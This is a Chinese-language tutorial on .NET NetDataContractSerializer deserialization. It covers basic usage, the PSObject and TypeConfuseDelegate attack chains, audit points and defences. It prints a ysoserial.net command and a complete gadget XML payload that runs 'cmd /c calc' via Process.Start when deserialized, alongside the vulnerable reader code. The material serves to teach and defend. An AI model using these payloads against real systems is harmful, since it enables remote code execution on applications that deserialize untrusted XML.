.net反序列化之NetDataContractSerializer
字数 1424 2025-08-05 08:17:36
.NET反序列化之NetDataContractSerializer深度解析
1. NetDataContractSerializer概述
NetDataContractSerializer是.NET框架中用于序列化和反序列化Windows Communication Foundation (WCF)消息中发送数据的类,位于System.Runtime.Serialization命名空间。
主要特点:
- 与DataContractSerializer的关键区别:在序列化的XML中包含CLR类型信息
- 要求序列化和反序列化端使用相同的CLR类型
- 可以序列化应用了DataContractAttribute或SerializableAttribute属性的类型
- 也能序列化实现了ISerializable接口的类型
- 实现XmlObjectSerializer和IFormatter接口
2. 基本使用示例
微软官方提供的演示代码展示了NetDataContractSerializer的基本用法:
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
namespace NetDataContractDeserialize
{
[DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
class Person : IExtensibleDataObject
{
[DataMember()]
public string FirstName;
[DataMember]
public string LastName;
[DataMember()]
public int ID;
public Person(string newfName, string newLName, int newID)
{
FirstName = newfName;
LastName = newLName;
ID = newID;
}
private ExtensionDataObject extensionData_Value;
public ExtensionDataObject ExtensionData
{
get { return extensionData_Value; }
set { extensionData_Value = value; }
}
}
public sealed class Test
{
public static void Main()
{
try
{
WriteObject("NetDataContractSerializerExample.xml");
ReadObject("NetDataContractSerializerExample.xml");
}
catch (SerializationException serExc)
{
Console.WriteLine("Serialization Failed");
Console.WriteLine(serExc.Message);
}
catch (Exception exc)
{
Console.WriteLine(
"The serialization operation failed: {0} StackTrace: {1}",
exc.Message, exc.StackTrace);
}
finally
{
Console.WriteLine("Press <Enter> to exit....");
Console.ReadLine();
}
}
public static void WriteObject(string fileName)
{
Console.WriteLine("Creating a Person object and serializing it.");
Person p1 = new Person("Zighetti", "Barbara", 101);
FileStream fs = new FileStream(fileName, FileMode.Create);
XmlDictionaryWriter writer = XmlDictionaryWriter.CreateTextWriter(fs);
NetDataContractSerializer ser = new NetDataContractSerializer();
ser.WriteObject(writer, p1);
writer.Close();
}
public static void ReadObject(string fileName)
{
Console.WriteLine("Deserializing an instance of the object.");
FileStream fs = new FileStream(fileName, FileMode.Open);
XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
NetDataContractSerializer ser = new NetDataContractSerializer();
Person deserializedPerson = (Person)ser.ReadObject(reader, true);
fs.Close();
Console.WriteLine(String.Format("{0} {1}, ID: {2}",
deserializedPerson.FirstName, deserializedPerson.LastName,
deserializedPerson.ID));
}
}
}
生成的XML示例:
<Customer z:Id="1" z:Type="NetDataContractDeserialize.Person" z:Assembly="NetDataContractSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<FirstName z:Id="2">Zighetti</FirstName>
<ID>101</ID>
<LastName z:Id="3">Barbara</LastName>
</Customer>
3. 安全漏洞与攻击链
3.1 PSObject攻击链
在ysoserial.net中有多个攻击链适用于NetDataContractSerializer,其中PSObject攻击链有严格限制:
- 目标系统必须未修补CVE-2017-8565漏洞(发布于2017年7月11日)
- 使用命令:
ysoserial.exe -f NetDataContractSerializer -g PSObject -t -c calc
攻击原理:
- 反序列化函数读取CliXml值进行反序列化
- 经过多次调用后进入PSDeserializer.DeserializeAsList()
- 当对象为CimInstance实例时,调用RehydrateCimInstance()和RehydrateCimInstanceProperty()
- 在RehydrateCimInstanceProperty中,type参数可控
- 进入ConvertEnumerableToArray,获取元素并通过LanguagePrimitives.ConvertTo()转换类型
- 最终在FigureParseConversion方法中通过toType.GetMethod("Parse", ...)调用XamlReader.Parse()触发RCE
3.2 TypeConfuseDelegate攻击链
攻击XML示例:
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>
<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="">
<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System">
<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">
<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
<a:delegateEntry z:Id="7">
<a:assembly z:Ref="6" i:nil="true"/>
<a:delegateEntry i:nil="true"/>
<a:methodName z:Id="8">Compare</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Ref="6" i:nil="true"/>
<a:targetTypeName z:Id="9">System.String</a:targetTypeName>
<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</a:delegateEntry>
<a:methodName z:Id="11">Start</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>
<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</Delegate>
<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="11" i:nil="true"/>
<AssemblyName z:Ref="12" i:nil="true"/>
<ClassName z:Ref="13" i:nil="true"/>
<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>
<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method0>
<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="8" i:nil="true"/>
<AssemblyName z:Ref="6" i:nil="true"/>
<ClassName z:Ref="9" i:nil="true"/>
<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method1>
</_comparison>
</Comparer>
<Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>
<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">
<string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc</string>
<string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string>
</Items>
</ArrayOfstring>
反序列化代码:
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
namespace NetDataContractDeserialize
{
public class Program
{
public static void Main()
{
FileStream fs = new FileStream("1.xml", FileMode.Open);
XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
NetDataContractSerializer ser = new NetDataContractSerializer();
ser.ReadObject(reader, true);
fs.Close();
}
}
}
4. 安全审计要点
审计NetDataContractSerializer相关代码时需关注:
- 传入XML的内容是否可控
- 自定义DataContractResolver类型解析器对type的处理
- 构造函数的IDataContractSurrogate参数及其实现
- 反序列化过程中类型解析的安全性
5. 防御措施
- 避免反序列化不可信的XML数据
- 更新系统补丁,特别是修复CVE-2017-8565
- 使用更安全的序列化替代方案
- 实施严格的输入验证
- 在反序列化前检查XML内容
6. 总结
NetDataContractSerializer因其包含CLR类型信息的特性,在提供灵活性的同时也带来了安全风险。理解其工作原理和潜在的攻击向量对于构建安全的.NET应用程序至关重要。开发者应当谨慎处理反序列化操作,特别是在处理来自不可信源的XML数据时。